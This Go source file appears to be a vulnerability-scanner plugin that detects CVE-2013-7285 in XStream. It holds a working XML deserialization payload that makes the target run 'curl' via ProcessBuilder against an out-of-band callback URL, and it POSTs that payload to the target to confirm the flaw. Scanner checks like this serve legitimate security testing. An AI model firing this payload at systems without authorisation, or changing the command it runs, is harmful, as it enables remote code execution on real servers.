/**
2 * @Author: shaochuyu
3 * @Date: 3/10/24
4 */

package xstream

import (
	"bytes"
	"context"
	"strings"
	"wscan/core/http"
	"wscan/core/model"
	"wscan/core/plugins/base"
	"wscan/core/reverse"
)

type CVE_2013_7285 struct {
}

func (*CVE_2013_7285) Finger() *base.Finger {
	return &base.Finger{
		CheckAction: func(ctx context.Context, ab *base.Apollo) error {
			flow := ab.GetTargetFlow()

			payload := `<sorted-set>
            <string>foo</string>
            <contact class='dynamic-proxy'>
              <interface>java.lang.Comparable</interface>
              <handler class='java.beans.EventHandler'>
                  <target class='java.lang.ProcessBuilder'>
                      <command>
                        <string>curl</string>
                        <string>{{reverse-url}}</string>
                      </command>
                  </target>
                  <action>start</action>
              </handler>
          </contact>
        </sorted-set>`

			unit := ab.Reverse.Register(nil)
			payload = strings.Replace(payload, "{{reverse-url}}", unit.GetVisitURL(), -1)

			req, _ := http.NewRequest("POST",
				flow.Request.URL().JoinPath("/").String(),
				nil)
			req.WithXMLBody(bytes.NewReader([]byte(payload)))
			res, err := ab.HTTPClient.Respond(context.TODO(), req)
			if err != nil {
				return nil
			}
			unit.OnVisit(func(event *reverse.Event) error {
				v := ab.NewWebVuln(req, res, nil)
				if v != nil {
					v.SetTargetURL(flow.Request.URL())
					v.Payload = payload
					ab.OutputVuln(v)
				}
				return nil
			})
			unit.Fetch(0)
			return nil
		},
		Channel:     "web-generic",
		NeedReverse: true,
		Binding: &model.VulnBinding{ID: "xstream/RCE/CVE-2013-7285",
			Plugin:   "xstream/CVE-2013-7285",
			Category: "xstream/CVE-2013-7285"},
	}
}
